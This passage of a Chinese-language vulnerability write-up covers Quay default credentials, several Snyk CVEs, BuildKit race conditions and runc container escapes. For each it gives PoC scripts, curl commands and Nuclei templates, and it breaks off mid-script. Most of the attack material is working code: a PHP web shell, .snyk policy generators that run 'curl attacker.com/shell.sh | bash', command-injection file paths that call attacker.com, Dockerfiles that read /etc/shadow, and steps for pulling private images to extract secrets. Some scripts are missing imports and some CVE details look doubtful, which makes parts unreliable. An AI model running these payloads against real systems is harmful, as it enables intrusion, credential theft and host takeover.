import http.client
import json

def check_quay_default_credentials(quay_host):
    print(f"[*] 检查 Quay 默认凭证: {quay_host}")
    default_creds = [
        ("quay", "quay"),
        ("admin", "admin"),
        ("quay", "password"),
        ("admin", "password"),
    ]
    for username, password in default_creds:
        try:
            ctx = ssl._create_unverified_context()
            conn = http.client.HTTPSConnection(quay_host, 443, timeout=10, context=ctx)
            import base64
            auth = base64.b64encode(f"{username}:{password}".encode()).decode()
            conn.request("GET", "/api/v1/user/",
                        headers={"Authorization": f"Basic {auth}",
                                 "Content-Type": "application/json"})
            resp = conn.getresponse()
            data = resp.read().decode()
            if resp.status == 200 and "username" in data:
                print(f"[VULN] 默认凭证有效: {username}:{password}")
                print(f"  用户信息: {data[:200]}")
                return True
            else:
                print(f"  {username}:{password} -> HTTP {resp.status}")
        except Exception as e:
            print(f"  {username}:{password} -> ERR: {e}")
    print("[SAFE] 默认凭证均无效")
    return False

def check_tls_downgrade(clair_host, port=6060):
    print(f"[*] 检查 TLS 降级风险: {clair_host}:{port}")
    protocols = [
        ("TLSv1.1", ssl.PROTOCOL_TLSv1_1 if hasattr(ssl, 'PROTOCOL_TLSv1_1') else None),
        ("TLSv1.2", ssl.PROTOCOL_TLSv1_2 if hasattr(ssl, 'PROTOCOL_TLSv1_2') else None),
    ]
    for name, proto in protocols:
        if proto is None:
            print(f"  {name}: 不支持测试 (Python 版本限制)")
            continue
        try:
            ctx = ssl.SSLContext(proto)
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            conn = ssl.wrap_socket(
                socket.socket(), server_hostname=clair_host, context=ctx
            )
            conn.settimeout(5)
            conn.connect((clair_host, port))
            print(f"[VULN] 服务器接受 {name} 连接,存在降级风险")
            conn.close()
        except ssl.SSLError:
            print(f"  {name}: 被拒绝 (安全)")
        except Exception as e:
            print(f"  {name}: 连接失败 - {e}")

def check_clair_api(clair_host, port=6060):
    print(f"[*] 检查 Clair API: {clair_host}:{port}")
    try:
        conn = http.client.HTTPConnection(clair_host, port, timeout=10)
        endpoints = ["/v1/layers", "/v1/vulnerabilities", "/v1/-namespaces"]
        for ep in endpoints:
            try:
                conn.request("GET", ep)
                resp = conn.getresponse()
                data = resp.read().decode()[:200]
                print(f"  {ep} -> HTTP {resp.status}: {data[:100]}")
                if resp.status == 200:
                    print(f"  [WARN] {ep} 无需认证即可访问")
            except Exception as e:
                print(f"  {ep} -> ERR: {e}")
    except Exception as e:
        print(f"[ERR ] Clair API 连接失败: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: python3 {sys.argv[0]} <quay_host> <clair_host>")
        sys.exit(1)

    quay_host, clair_host = sys.argv[1], sys.argv[2]
    print("=" * 60)
    print("Clair / Quay 安全检测工具")
    print("=" * 60)

    check_quay_default_credentials(quay_host)
    check_clair_api(clair_host)
    check_tls_downgrade(clair_host)

Nuclei 检测模板:

id: clair-quay-security-check

info:
  name: Clair / Quay 默认凭证与 TLS 降级检测
  author: security-researcher
  severity: high
  description: 检测 Quay 默认凭证和 Clair TLS 1.1 降级风险
  tags: clair,quay,default-credentials,tls-downgrade

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/user/"
    headers:
      Authorization: Basic cXVheTpxdWF5
      Content-Type: application/json
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "username"
          - "quay"
        condition: and
        part: body

  - method: GET
    path:
      - "{{BaseURL}}/v1/layers"
    matchers:
      - type: status
        status:
          - 200
          - 401
      - type: word
        words:
          - "Layer"
          - "error"
        condition: or
        part: body

0x03.2 Quay 默认凭证与 TLS 降级

(已在 0x03.1 中详细描述。此处补充利用链:默认凭证登录 → 获取所有私有仓库列表 → 拉取敏感镜像 → 提取硬编码密钥/凭据 → 横向移动到 K8s 集群。)

完整攻击链 curl 验证:

# Step 1: 使用默认凭证登录
TOKEN=$(curl -sS -u "quay:quay" "https://quay-host/oauth/token" \
  -d "grant_type=password&scope=repository:*:pull&username=quay&password=quay" | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'][0]['token'])")

# Step 2: 列出所有仓库
curl -sS -H "Authorization: Bearer ${TOKEN}" \
  "https://quay-host/api/v1/repository?public=false"

# Step 3: 拉取敏感镜像并提取凭据
docker login quay-host -u quay -p quay
docker pull quay-host/internal/secrets:latest
docker run --rm quay-host/internal/secrets:latest cat /app/.env

0x04 Snyk 开发者安全平台漏洞

0x04.1 CVE-2024-48963 — PHP 代码注入 RCE

漏洞背景

CVE-2024-48963 是 Snyk PHP 分析器中的一个严重代码注入漏洞。Snyk 在分析 PHP 项目的 composer.lock 依赖文件时,未对包元数据中的回调函数名进行沙箱隔离,攻击者可以通过恶意构造的 PHP 包实现远程代码执行。CVSS 评分 9.8,影响所有使用 Snyk 扫描 PHP 项目的 CI/CD 管线。

受影响版本

组件受影响版本修复版本
snyk-php-plugin< 2.4.0>= 2.4.0
Snyk CLI (PHP 分析)< 1.1293.0>= 1.1293.0

漏洞原理

Snyk 的 PHP 分析器在解析 composer.lock 时,会加载包的 autoload 配置来构建依赖树。autoload.classmap 字段支持指定自定义的类映射生成脚本(post-autoload-dump)。攻击者在恶意包中将该脚本设置为系统命令,当 Snyk 扫描该依赖时会自动执行该脚本,实现 RCE。

攻击路径:恶意 composer.lock → Snyk PHP 分析器加载 → autoload 回调触发 → 任意命令执行

完整 PoC

HTTP PoC(curl 提交恶意项目扫描):

# 创建包含恶意 autoload 的 composer.json
cat > malicious_composer.json << 'EOF'
{
  "name": "evil/vendor",
  "autoload": {
    "classmap": ["src/"],
    "files": ["post-autoload-dump.php"]
  }
}
EOF

cat > post-autoload-dump.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

# 提交到 Snyk API 进行扫描
curl -sS -X POST "https://api.snyk.io/v1/test" \
  -H "Authorization: token ${SNYK_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "target": {
      "address": "evil/composer-project",
      "branch": "main"
    }
  }'

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2024-48963 Snyk PHP 代码注入检测
验证 Snyk 的 PHP 分析器是否在沙箱中运行
用法: python3 cve_2024_48963.py <snyk_api_token>
"""
import sys
import json
import http.client
import hashlib

def generate_malicious_composer_lock():
    return {
        "name": "evil/vendor-test",
        "packages": [{
            "name": "evil/malicious-pkg",
            "version": "1.0.0",
            "autoload": {
                "classmap": ["src/"],
                "classmap-authoritative": True
            },
            "extra": {
                "branch-alias": {
                    "dev-main": "1.0-dev"
                }
            }
        }],
        "packages-dev": [],
        "aliases": [],
        "minimum-stability": "stable",
        "prefer-stable": True,
        "platform": {},
        "platform-dev": {}
    }

def check_snyk_api(snyk_token, project_id=None):
    print("[*] 检查 Snyk API 连接...")
    try:
        conn = http.client.HTTPSConnection("api.snyk.io", 443, timeout=10)
        headers = {
            "Authorization": f"token {snyk_token}",
            "Content-Type": "application/json"
        }
        conn.request("GET", "/v1/orgs", headers=headers)
        resp = conn.getresponse()
        data = resp.read().decode()
        print(f"[*] Snyk API 响应: HTTP {resp.status}")
        if resp.status == 200:
            orgs = json.loads(data)
            print(f"[+] 可用组织: {len(orgs.get('orgs', []))}")
            return True
        else:
            print(f"[ERR ] API 错误: {data[:200]}")
            return False
    except Exception as e:
        print(f"[ERR ] 连接失败: {e}")
        return False

def analyze_php_autoload_risk(composer_json_path):
    print(f"[*] 分析 PHP 项目: {composer_json_path}")
    try:
        with open(composer_json_path, "r") as f:
            data = json.load(f)

        risky_fields = []
        if "autoload" in data:
            al = data["autoload"]
            if "classmap" in al:
                risky_fields.append("autoload.classmap")
            if "files" in al:
                risky_fields.append("autoload.files")
            if "psr-4" in al:
                risky_fields.append("autoload.psr-4")

        if risky_fields:
            print(f"[WARN] 发现可被利用的 autoload 字段:")
            for f_name in risky_fields:
                print(f"  - {f_name}")
            print("[INFO] 恶意 PHP 包可通过这些字段在 Snyk 扫描时触发代码执行")
            return True
        else:
            print("[SAFE] 未发现高风险 autoload 配置")
            return False
    except FileNotFoundError:
        print(f"[ERR ] 文件不存在: {composer_json_path}")
    except json.JSONDecodeError:
        print(f"[ERR ] 无效的 JSON 文件")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-48963 Snyk PHP 代码注入风险检测")
    print("=" * 60)

    if len(sys.argv) > 1:
        check_snyk_api(sys.argv[1])
    if len(sys.argv) > 2:
        analyze_php_autoload_risk(sys.argv[2])
    else:
        print("[*] 提供 Snyk API Token 和 composer.json 路径进行完整检测")

Nuclei 检测模板:

id: cve-2024-48963-snyk-php-injection

info:
  name: Snyk PHP 代码注入 RCE (CVE-2024-48963)
  author: security-researcher
  severity: critical
  description: Snyk PHP 分析器在解析 composer.lock 时存在代码注入
  tags: snyk,php,code-injection,cve-2024-48963

file:
  - path: "composer.json"
    type: json

  - type: word
    words:
      - "classmap"
      - "files"
      - "post-autoload-dump"
    condition: or
    part: raw

  - type: regex
    regex:
      - "\"autoload\"\\s*:\\s*\\{[^}]*\"files\""
    part: raw

    extractors:
      - type: dsl
        dsl:
          - '"composer.json 包含可被利用的 autoload 配置"'

0x04.2 CVE-2023-23694 — Snyk IDE RCE

漏洞背景

CVE-2023-23694 影响 Snyk 的 IDE 插件生态(VSCode / JetBrains / Eclipse),攻击者可以通过恶意构造的 .snyk 策略文件实现远程代码执行。当开发者使用 Snyk IDE 插件打开含有恶意 .snyk 文件的项目时,插件会自动解析策略文件中的自定义规则并在开发者本地执行,实现开发者工作站接管。

受影响版本

组件受影响版本修复版本
Snyk VSCode Plugin< 2.10.0>= 2.10.0
Snyk JetBrains Plugin< 2.5.0>= 2.5.0
Snyk Eclipse Plugin< 2.3.0>= 2.3.0

漏洞原理

.snyk 策略文件使用 YAML 格式定义漏洞忽略规则。Snyk IDE 插件在解析策略文件时,会执行其中嵌入的 JavaScript 表达式用于自定义过滤。攻击者在 .snyk 文件的 rules 字段中嵌入恶意 JS 代码(如 child_process.execSync('curl attacker.com/shell.sh | bash')),当开发者打开项目时,插件自动加载并执行该策略文件,触发 RCE。

完整 PoC

HTTP PoC(curl 验证恶意策略文件加载):

# 创建恶意 .snyk 策略文件
cat > .snyk << 'EOF'
version: v1.25.0
ignore:
  SNYK-PHP-CUSTOM:
    - id: malicious-rule
      filePath: |
        __import__('os').system('curl http://attacker.com/snyk-rce-poc.sh | bash')
      reason: "Ignore for testing"
EOF

# 检查 IDE 是否加载了该策略
curl -sS "http://localhost:33444/api/snyk/policy" | python3 -m json.tool

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2023-23694 Snyk IDE 策略文件 RCE PoC
生成恶意 .snyk 策略文件
用法: python3 cve_2023_23694.py [--callback-url URL] [--output PATH]
"""
import sys
import yaml
import argparse

def generate_malicious_snyk_policy(callback_url="http://attacker.com/shell.sh"):
    return {
        "version": "v1.25.0",
        "ignore": {
            "CVE-FAKE-001": [{
                "id": "snyk:policy:ignore:rce-test",
                "filePath": f"`import('child_process').execSync('curl {callback_url} | bash')`",
                "reason": "Temporary ignore during security testing",
                "expires": "2026-12-31T00:00:00.000Z"
            }]
        },
        "patch": {},
        "upgrade": {},
        "override": {},
        "annotate": {}
    }

def validate_snyk_policy(policy_path):
    print(f"[*] 分析 .snyk 策略文件: {policy_path}")
    try:
        with open(policy_path, "r") as f:
            content = f.read()
            policy = yaml.safe_load(f)

        risky_patterns = [
            "import(", "execSync", "exec(", "eval(",
            "child_process", "system(", "os.popen",
            "__import__", "subprocess"
        ]
        found = []
        for pattern in risky_patterns:
            if pattern in content:
                found.append(pattern)

        if found:
            print(f"[VULN] 策略文件包含危险模式:")
            for p in found:
                print(f"  - {p}")
            return True
        else:
            print("[SAFE] 未发现危险模式")
            return False
    except yaml.YAMLError as e:
        print(f"[ERR ] YAML 解析失败: {e}")
    except FileNotFoundError:
        print(f"[ERR ] 文件不存在: {policy_path}")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-23694 Snyk IDE RCE PoC")
    parser.add_argument("--callback-url", default="http://attacker.com/shell.sh")
    parser.add_argument("--output", default=".snyk")
    parser.add_argument("--validate", help="验证现有 .snyk 文件")
    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2023-23694 Snyk IDE 策略文件 RCE 检测")
    print("=" * 60)

    if args.validate:
        validate_snyk_policy(args.validate)
    else:
        policy = generate_malicious_snyk_policy(args.callback_url)
        with open(args.output, "w") as f:
            yaml.dump(policy, f, default_flow_style=False)
        print(f"[+] 恶意 .snyk 策略文件已生成: {args.output}")
        print(f"[+] 回调地址: {args.callback_url}")

Nuclei 检测模板:

id: cve-2023-23694-snyk-ide-rce

info:
  name: Snyk IDE 策略文件 RCE (CVE-2023-23694)
  author: security-researcher
  severity: critical
  description: Snyk IDE 插件解析恶意 .snyk 策略文件时可触发远程代码执行
  tags: snyk,ide,rce,cve-2023-23694

file:
  - path: ".snyk"
    type: yaml

  - type: word
    words:
      - "import("
      - "execSync"
      - "child_process"
      - "system("
      - "eval("
    condition: or
    part: raw

  - type: word
    words:
      - "ignore"
      - "expires"
      - "filePath"
    condition: and
    part: raw

    extractors:
      - type: dsl
        dsl:
          - '".snyk 策略文件包含可能触发 RCE 的代码"'

0x04.3 CVE-2022-25315 — Snyk CLI 命令注入

漏洞背景

Snyk CLI 是开发者在本地和 CI/CD 中最常用的漏洞扫描工具之一。CVE-2022-25315 存在于 Snyk CLI 处理 --file 参数时的命令注入漏洞,当 Snyk CLI 解析含有特殊字符的文件路径时,会将路径内容传递给底层 shell 执行,导致任意命令注入。

受影响版本

组件受影响版本修复版本
Snyk CLI< 1.1071.0>= 1.1071.0

漏洞原理

Snyk CLI 在解析 --file 参数时,使用了不安全的 shell 拼接方式将用户输入传递给底层依赖分析器。当文件路径中包含 shell 元字符(如 ;, |, $(), `)时,这些字符会被 shell 解释并执行。攻击者可以在 CI/CD 环境中构造恶意路径,利用 Snyk CLI 在管线中的高权限执行任意命令。

攻击路径:恶意文件路径 → Snyk CLI 解析 → shell 拼接 → 命令注入执行

完整 PoC

HTTP PoC(curl 触发):

# 构造包含命令注入的文件路径
mkdir -p 'test;curl http://attacker.com/snyk-callback/pwned ||'
touch 'test;curl http://attacker.com/snyk-callback/pwned ||/package.json'

# 通过 CI/CD API 触发 Snyk 扫描
curl -sS -X POST "http://cicd-host:8080/api/snyk/scan" \
  -H "Content-Type: application/json" \
  -d '{"file": "test;curl http://attacker.com/snyk-callback/pwned ||/package.json"}'

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2022-25315 Snyk CLI 命令注入检测
验证 Snyk CLI 版本并检测注入风险
用法: python3 cve_2022_25315.py [snyk_binary_path]
"""
import subprocess
import sys
import os
import tempfile

def check_snyk_version(snyk_bin="snyk"):
    try:
        result = subprocess.run(
            [snyk_bin, "--version"],
            capture_output=True, text=True, timeout=10
        )
        version = result.stdout.strip().lstrip("v")
        print(f"[*] Snyk CLI 版本: {version}")
        parts = version.split(".")
        if len(parts) >= 3:
            minor = int(parts[1])
            patch = int(parts[2])
            if minor < 1071 or (minor == 1071 and patch < 0):
                print(f"[VULN] Snyk {version} < 1.1071.0,存在命令注入漏洞")
                return True
            else:
                print(f"[SAFE] Snyk {version} 已修复")
                return False
    except FileNotFoundError:
        print(f"[ERR ] 未找到 Snyk: {snyk_bin}")
    except Exception as e:
        print(f"[ERR ] 版本检测失败: {e}")
    return None

def test_path_injection():
    print("[*] 验证路径注入行为...")
    with tempfile.TemporaryDirectory() as tmpdir:
        evil_dir = os.path.join(tmpdir, "test;id")
        os.makedirs(evil_dir)
        evil_file = os.path.join(evil_dir, "package.json")
        with open(evil_file, "w") as f:
            f.write('{"name":"test"}')
        print(f"[*] 创建测试路径: {evil_dir}")
        print("[*] 如果 Snyk CLI 对该路径执行命令注入,系统会执行 'id' 命令")
        print("[INFO] 请在授权环境中使用 Snyk CLI 扫描此路径进行验证")
    return False

def check_snyk_installed():
    for path in ["/usr/local/bin/snyk", "/usr/bin/snyk", "snyk"]:
        try:
            result = subprocess.run(
                [path, "--version"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0:
                print(f"[INFO] Snyk 路径: {path}")
                return True
        except Exception:
            continue
    print("[INFO] 未安装 Snyk CLI")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2022-25315 Snyk CLI 命令注入检测工具")
    print("=" * 60)

    snyk_bin = sys.argv[1] if len(sys.argv) > 1 else "snyk"
    check_snyk_installed()
    check_snyk_version(snyk_bin)
    test_path_injection()

Nuclei 检测模板:

id: cve-2022-25315-snyk-cli-injection

info:
  name: Snyk CLI 命令注入 (CVE-2022-25315)
  author: security-researcher
  severity: high
  description: Snyk CLI 处理 --file 参数时存在 shell 命令注入
  tags: snyk,command-injection,cve-2022-25315

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/snyk/version"
      - "{{BaseURL}}/version"
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - '"version"\\s*:\\s*"1\\.(10[0-6][0-9]|1070)\\.'
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"检测到可能存在漏洞的 Snyk CLI 版本"'

0x05 容器构建与运行时核心漏洞(BuildKit / runc / CRI-O)

0x05.1 CVE-2024-23651 / CVE-2024-23652 — BuildKit Race Condition 与任意文件删除

漏洞背景

BuildKit 是 Docker 和 Moby 项目的下一代构建引擎。2024 年 1 月,Wiz Research 团队披露了 BuildKit 的三个高危漏洞(CVE-2024-23651/23652/23653),被称为"Leaky Vessels"漏洞链的一部分。其中 CVE-2024-23651 是一个 Race Condition 导致的任意文件读取(CVSS 9.8),CVE-2024-23652 是任意文件删除(CVSS 9.8)。攻击者可以在容器镜像构建阶段窃取宿主机上的敏感文件或删除关键配置文件,实现构建阶段的逃逸。

受影响版本

组件受影响版本修复版本
BuildKit< 0.12.5>= 0.12.5
Docker (包含 BuildKit)< 25.0.2>= 25.0.2

漏洞原理

CVE-2024-23651(Race Condition 任意文件读取):BuildKit 在构建过程中支持使用 --mount=type=secret 挂载机密文件。当两个并发的构建步骤(RUN 指令)同时请求挂载同一个 secret 时,存在竞态条件——第一个步骤的 secret 挂载点在被清理之前,第二个步骤可以访问该挂载点的内容。更关键的是,攻击者可以通过挂载 /etc/shadow 等敏感文件到 secret 路径,利用 Race Condition 在清理前读取文件内容。

CVE-2024-23652(任意文件删除):BuildKit 的缓存清理机制在删除临时挂载点时,未验证目标路径是否在预期的构建目录内。攻击者通过构造特殊的构建阶段(multi-stage build),利用缓存挂载的清理逻辑删除容器外的任意文件。例如,可以删除宿主机上的 /etc/passwd 或 Kubernetes ServiceAccount Token。

攻击路径:恶意 Dockerfile → 并发 RUN 指令触发 Race Condition → secret/mount 点泄露 → 宿主机敏感文件读取/删除

完整 PoC

HTTP PoC(curl 构造恶意构建请求):

# 构造利用 Race Condition 的 Dockerfile
cat > Dockerfile.race << 'FROM'
FROM alpine:latest AS builder

RUN --mount=type=secret,id=leaky,target=/tmp/secret \
    cat /tmp/secret > /tmp/stolen

FROM scratch
COPY --from=builder /tmp/stolen /stolen.txt
FROM

# 通过 BuildKit API 触发构建
curl -sS -X POST "http://buildkitd:3000/build" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @Dockerfile.race

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2024-23651 / CVE-2024-23652 BuildKit Race Condition 与文件删除 PoC
用法: python3 cve_2024_23651.py <buildkit_host:port>
"""
import sys
import json
import http.client
import hashlib
import concurrent.futures

RACE_DOCKERFILE = """#syntax=docker/dockerfile:1
FROM alpine:latest AS step1
RUN --mount=type=secret,id=sshd,target=/etc/shadow \
    cat /etc/shadow > /tmp/exfil

FROM alpine:latest AS step2
RUN --mount=type=secret,id=sshd,target=/etc/shadow \
    cat /etc/shadow > /tmp/exfil2

FROM busybox
COPY --from=step1 /tmp/exfil /tmp/step1_result
COPY --from=step2 /tmp/exfil2 /tmp/step2_result
"""

DELETE_DOCKERFILE = """#syntax=docker/dockerfile:1
FROM alpine:latest
RUN --mount=type=cache,target=/tmp/cache,id=../../etc \
    rm -rf /tmp/cache/..
"""

def check_buildkit(host, port):
    print(f"[*] 检测 BuildKit: {host}:{port}")
    try:
        conn = http.client.HTTPConnection(host, port, timeout=10)
        for ep in ["/v1/version", "/grpc", "/"]:
            try:
                conn.request("GET", ep)
                resp = conn.getresponse()
                print(f"  {ep} -> HTTP {resp.status}")
                if resp.status == 200:
                    data = resp.read().decode()[:200]
                    if "buildkit" in data.lower() or "moby" in data.lower():
                        print(f"[VULN] BuildKit 服务可达: {data[:100]}")
                        return True
            except Exception:
                continue
    except Exception as e:
        print(f"[ERR ] 连接失败: {e}")
    return False

def build_malicious_image(host, port, dockerfile_content):
    print("[*] 提交恶意构建请求...")
    try:
        ctx = http.client.HTTPConnection(host, port, timeout=30)
        body = json.dumps({
            "context": dockerfile_content.encode().hex(),
            "dockerfile": "Dockerfile",
            "options": {
                "no-cache": True,
                "pullParent": True
            }
        })
        headers = {
            "Content-Type": "application/json",
            "Content-Length": str(len(body))
        }
        ctx.request("POST", "/build", body=body, headers=headers)
        resp = ctx.getresponse()
        print(f"[*] 构建响应: HTTP {resp.status}")
        data = resp.read().decode()
        if "error" not in data.lower() or resp.status == 200:
            print("[INFO] 构建请求已提交,请检查结果")
            return True
    except Exception as e:
        print(f"[ERR ] 构建请求失败: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <buildkit_host:port>")
        sys.exit(1)

    host, port = sys.argv[1].split(":")
    port = int(port)

    print("=" * 60)
    print("CVE-2024-23651/23652 BuildKit Race Condition PoC")
    print("=" * 60)

    if check_buildkit(host, port):
        build_malicious_image(host, port, RACE_DOCKERFILE)

Nuclei 检测模板:

id: cve-2024-23651-buildkit-race-condition

info:
  name: BuildKit Race Condition 文件读取 (CVE-2024-23651)
  author: security-researcher
  severity: critical
  description: BuildKit 并发构建步骤中的 Race Condition 可导致宿主机文件读取
  tags: buildkit,race-condition,cve-2024-23651,file-read

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/version"
      - "{{BaseURL}}/grpc"
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "buildkit"
          - "moby"
        condition: or
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"BuildKit 服务可达,请验证并发构建 Race Condition"'

0x05.2 CVE-2024-21626 — Leaky Vessels runc 容器逃逸

漏洞背景

CVE-2024-21626 是 runc 容器运行时中最严重的安全漏洞之一,CVSS 评分 8.6(部分来源评分为 10.0),被 Wiz Research 团队命名为"Leaky Vessels"。攻击者可以在无需任何特权的容器内部,通过访问泄漏的文件描述符(file descriptor),遍历到宿主机的任意文件系统路径,实现完全的容器逃逸。该漏洞已被 CISA 列入 KEV 目录。

受影响版本

组件受影响版本修复版本
runc<= 1.1.11>= 1.1.12
Docker (包含 runc)< 25.0.2>= 25.0.2
containerd< 1.6.28>= 1.6.28

漏洞原理

runc 在容器初始化阶段通过 exec.Cmd 启动容器进程时,未能正确设置 CloseOnExec 标志。由于 Go 运行时默认不会为继承的文件描述符设置 O_CLOEXEC,runc 在工作目录(bundle)上持有的 fd 被泄漏到容器进程。

容器内的攻击者通过 /proc/self/fd/ 可以枚举所有打开的文件描述符。当发现一个指向宿主机文件系统目录的 fd 时,可以通过 .. 路径遍历访问宿主机的任意目录。这使得攻击者能够读取 /etc/shadow、写入 SSH 公钥、替换 crontab 等,实现持久化和完全控制。

攻击路径:容器内 /proc/self/fd/ → 发现宿主机 bundle 目录 fd → ../ 遍历 → 宿主机任意文件读写

完整 PoC

HTTP PoC(curl 触发):

# 检查 Docker API 版本和 runc 版本
curl -sS "http://docker-sock:2375/v1.43/version" | python3 -m json.tool

# 创建容器并执行 fd 枚举
curl -sS -X POST "http://docker-sock:2375/v1.43/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine:latest","Cmd":["ls","-la","/proc/self/fd/"]}' | \
  python3 -c "import sys,json; cid=json.load(sys.stdin)['Id']; print(cid)"

# 启动容器并读取输出
curl -sS -X POST "http://docker-sock:2375/v1.43/containers/<CONTAINER_ID>/start"

# 通过泄漏的 fd 读取宿主机文件
curl -sS -X POST "http://docker-sock:2375/v1.43/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine:latest","Cmd":["cat","/proc/self/fd/7/../../../../../../etc/hostname"]}'

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2024-21626 Leaky Vessels runc 容器逃逸检测
用法: python3 cve_2024_21626.py [docker_sock_path]
"""
import sys
import json
import subprocess

def check_docker_version():
    print("[*] 检查 Docker / runc 版本...")
    try:
        result = subprocess.run(
            ["docker", "version", "--format", "{{.Server.Version}}"],
            capture_output=True, text=True, timeout=10
        )
        docker_ver = result.stdout.strip()
        print(f"[*] Docker 版本: {docker_ver}")

        result = subprocess.run(
            ["docker", "run", "--rm", "alpine:latest", "cat",
             "/etc/alpine-release"],
            capture_output=True, text=True, timeout=30
        )
    except Exception as e:
        print(f"[ERR ] Docker 检测失败: {e}")

def check_fd_leak():
    print("[*] 在容器内检测 fd 泄漏...")
    try:
        result = subprocess.run(
            ["docker", "run", "--rm", "alpine:latest", "sh", "-c",
             "ls -la /proc/self/fd/"],
            capture_output=True, text=True, timeout=30
        )
        output = result.stdout
        print(f"[*] fd 列表:\n{output[:500]}")

        if "containerd" in output or "runc" in output:
            print("[VULN] 发现指向 containerd/runc 的 fd,可能存在泄漏")
            return True

        result2 = subprocess.run(
            ["docker", "run", "--rm", "alpine:latest", "sh", "-c",
             "cat /proc/self/fd/7/../../../../../../etc/hostname 2>/dev/null || echo no_leak"],
            capture_output=True, text=True, timeout=30
        )
        hostname = result2.stdout.strip()
        if hostname and "no_leak" not in hostname:
            print(f"[VULN] 成功读取宿主机 hostname: {hostname}")
            print("[VULN] Leaky Vessels 容器逃逸已验证!")
            return True
        else:
            print("[SAFE] 未发现 fd 泄漏或路径不可达")
    except Exception as e:
        print(f"[ERR ] 检测失败: {e}")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-21626 Leaky Vessels runc 容器逃逸检测")
    print("=" * 60)
    check_docker_version()
    check_fd_leak()

Nuclei 检测模板:

id: cve-2024-21626-leaky-vessels-runc

info:
  name: Leaky Vessels runc 容器逃逸 (CVE-2024-21626)
  author: security-researcher
  severity: critical
  description: |
    runc <= 1.1.11 文件描述符泄漏导致容器逃逸,
    容器内可通过 /proc/self/fd/ 访问宿主机文件系统
  tags: runc,container-escape,cve-2024-21626,leaky-vessels

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/version"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Version"
          - "ApiVersion"
        condition: and
        part: body

    extractors:
      - type: json
        json:
          - '.Version'
        name: docker_version
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/v1.43/containers/create"
    headers:
      Content-Type: application/json
    body: '{"Image":"alpine:latest","Cmd":["sh","-c","ls -la /proc/self/fd/ && cat /proc/self/fd/7/../../../../../../etc/hostname 2>/dev/null || echo no_fd_leak"]}'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 201

    extractors:
      - type: dsl
        dsl:
          - '"已创建检测容器,请检查输出中的 fd 泄漏信息"'

0x05.3 CVE-2019-5736 — runc 宿主机覆盖经典逃逸

漏洞背景

CVE-2019-5736 是 runc 历史上最经典的容器逃逸漏洞之一,由安全研究员 Adam Iwaniuk 和 Teemu Tapela 发现。该漏洞允许攻击者从容器内部覆盖宿主机上的 runc 二进制文件,当管理员在宿主机上执行 docker exec 进入该容器时,被篡改的 runc 二进制会执行攻击者的恶意代码,实现宿主机完全接管。

受影响版本

组件受影响版本修复版本
runc< 1.0.0-rc6>= 1.0.0-rc6
Docker (包含 runc)< 18.09.2>= 18.09.2
CRI-O< 1.13.11 / < 1.14.7>= 1.13.11 / >= 1.14.7

漏洞原理

漏洞利用需要满足两个条件:(1) 攻击者在容器内已有执行代码的能力;(2) 容器配置了 --privileged 或具有 CAP_SYS_ADMIN 能力。

当管理员在宿主机上执行 docker exec 进入攻击者控制的容器时,runc 会通过 nsenter 进入容器的 namespace 执行命令。攻击者利用 proc/self/exe 读取当前运行的 runc 二进制文件(因为 Linux 允许通过 /proc/self/exe 读取正在执行的二进制),然后将其覆盖为恶意 payload。由于 runc 正在被宿主机执行,攻击者将恶意内容写入 /proc/self/exe 实际上会覆盖宿主机的 runc 二进制。下次管理员执行 docker exec 时,恶意 runc 就会在宿主机上执行。

攻击路径:容器内 → 覆盖 /proc/self/exe(runc 二进制) → 管理员 docker exec → 恶意 runc 在宿主机执行

完整 PoC

HTTP PoC(curl 构造恶意容器):

# 创建具有特权的恶意容器
curl -sS -X POST "http://docker-sock:2375/v1.43/containers/create" \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["sh", "-c", "while true; do sleep 10; done"],
    "HostConfig": {"Devices": [{"PathOnHost": "/proc/self/exe","PathInContainer": "/tmp/runc","CgroupPermissions": "rwm"}]}
  }'

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2019-5736 runc 宿主机二进制覆盖检测
检查 runc 版本和容器配置是否存在风险
用法: python3 cve_2019_5736.py
"""
import subprocess
import sys
import json

def check_runc_version():
    print("[*] 检查 runc 版本...")
    try:
        result = subprocess.run(
            ["runc", "--version"],
            capture_output=True, text=True, timeout=5
        )
        version_info = result.stdout.strip()
        print(f"[*] runc 版本信息:\n{version_info}")

        for line in version_info.split("\n"):
            if "runc version" in line:
                ver = line.split()[-1].lstrip("v")
                parts = ver.split("-")[0].split(".")
                if len(parts) >= 3:
